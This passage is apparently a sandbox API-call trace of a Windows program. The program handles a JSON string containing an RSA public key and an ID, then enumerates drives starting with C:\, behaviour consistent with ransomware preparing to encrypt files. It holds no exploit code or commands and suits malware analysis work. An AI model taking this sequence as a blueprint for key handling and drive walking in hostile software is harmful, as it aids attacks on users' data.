KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 544 [0115.463] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 544 [0115.463] lstrcpyW (in: lpString1=0x51a7c0, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.463] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x615b658 | out: hHeap=0x35b0000) returned 1 [0115.463] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 544 [0115.463] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x442) returned 0x6158f90 [0115.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82a778, cbMultiByte=-1, lpWideCharStr=0x6158f90, cchWideChar=545 | out: lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 545 [0115.463] lstrcpyW (in: lpString1=0x51a7c0, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.463] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0115.463] lstrlenA (lpString="\",\"id\":\"") returned 8 [0115.463] lstrcpyA (in: lpString1=0xc82ab78, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.463] lstrcpyA (in: lpString1=0xc82a778, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.463] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161138 [0115.464] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x854) returned 0x6159c00 [0115.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6161138, cbMultiByte=-1, lpWideCharStr=0x6159c00, cchWideChar=1066 | out: lpWideCharStr="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 43 [0115.464] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x6166ac8 [0115.464] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6159c00 | out: hHeap=0x35b0000) returned 1 [0115.464] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161138 | out: hHeap=0x35b0000) returned 1 [0115.464] lstrcpyW (in: lpString1=0x521cf0, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.464] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6166ac8 | out: hHeap=0x35b0000) returned 1 [0115.464] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0115.464] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x56) returned 0x6168648 [0115.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82a778, cbMultiByte=-1, lpWideCharStr=0x6168648, cchWideChar=43 | out: lpWideCharStr="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 43 [0115.465] lstrcpyW (in: lpString1=0x521cf0, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.465] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0115.465] lstrlenW (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned 40 [0115.465] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61641b0 | out: hHeap=0x35b0000) returned 1 [0115.465] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6158bc8 | out: hHeap=0x35b0000) returned 1 Thread: id = 345 os_tid = 0x614 [0115.913] timeGetTime () returned 0x11343cb [0115.913] GetLastError () returned 0x54f [0115.913] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3bc) returned 0x615a230 [0115.913] GetCurrentThreadId () returned 0x614 [0115.913] SetLastError (dwErrCode=0x54f) [0115.913] Sleep (dwMilliseconds=0x0) [0115.915] Sleep (dwMilliseconds=0x3e8) [0116.971] GetLogicalDrives () returned 0x4 [0116.971] SetErrorMode (uMode=0x1) returned 0x0 [0116.971] PathFileExistsA (pszPath="C:\\") returned 1 [0116.971] SetErrorMode (uMode=0x0) returned 0x1 [0116.971] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0116.971] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x806) returned 0x61eeac0 [0116.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a5fe60, cbMultiByte=-1, lpWideCharStr=0x61eeac0, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0116.971] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0116.971] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.971] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x18) returned 0x614db00 [0116.971] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.971] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.972] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.972] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.973] RtlAllocateHeap 